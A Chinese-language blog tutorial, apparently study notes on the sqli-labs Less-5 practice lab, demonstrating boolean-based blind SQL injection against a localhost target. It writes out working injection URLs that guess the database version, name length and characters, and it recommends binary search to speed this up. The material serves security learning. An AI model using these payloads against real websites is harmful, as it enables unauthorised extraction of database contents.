sqli学习笔记-07

admin 2023年2月18日00:58:37评论20 views字数 981阅读3分16秒阅读模式

sqli学习笔记-07

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

从这一关开始学习盲注。结合前面两讲所补充的知识点,将上面所使用的payload展示一下使用方法。

正文

从源代码中可以 看到,运行返回结果正确的时候只返回youare in....,不会返回数据库当中的信息了(所以这里不能用前面几讲的方法)

sqli学习笔记-07
  • 利用 left(database(),1)进行尝试

http://localhost:8888/Less-5/?id=1%27and%20left(version(),1)=1%23

查看一下当前数据库版本:

root@00dbbe61c347:/bin# mysql -V
mysql  Ver 15.1 Distrib 10.10.2-MariaDB, for debian-linux-gnu (x86_64) using  EditLine wrapper

按道理来说,这里的语句的意思是看版本号的第一位,但是我这里显示为1的时候是正确的

sqli学习笔记-07

当版本号不正确的时候,则不能正确显示 you are in......

sqli学习笔记-07

接下来看一下数据库的长度

http://localhost:8888/Less-5/?id=1%27and%20length(database())=8%23

sqli学习笔记-07

长度为 8 时,返回正确结果,说明长度为 8.

猜测数据库第一位

http://localhost:8888/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

sqli学习笔记-07

Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当 我们不知情的情况下,可以用二分法来提高注入的效率。

猜测数据库第二位

得知第一位为 s,我们看前两位是否大于 sa

http://localhost:8888/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

sqli学习笔记-07

往下的请举一反三,因有人问过此类问题,不知道该怎么进行第二位第三位。这里对于这个 问题只讲一次,以后就不会再说这个问题。要有自我思考的能力和意识。

往期回顾

2022年度文章精选

原文始发于微信公众号(迪哥讲事):sqli学习笔记-07

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月18日00:58:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli学习笔记-07http://cn-sec.com/archives/1556480.html

发表评论

匿名网友 填写信息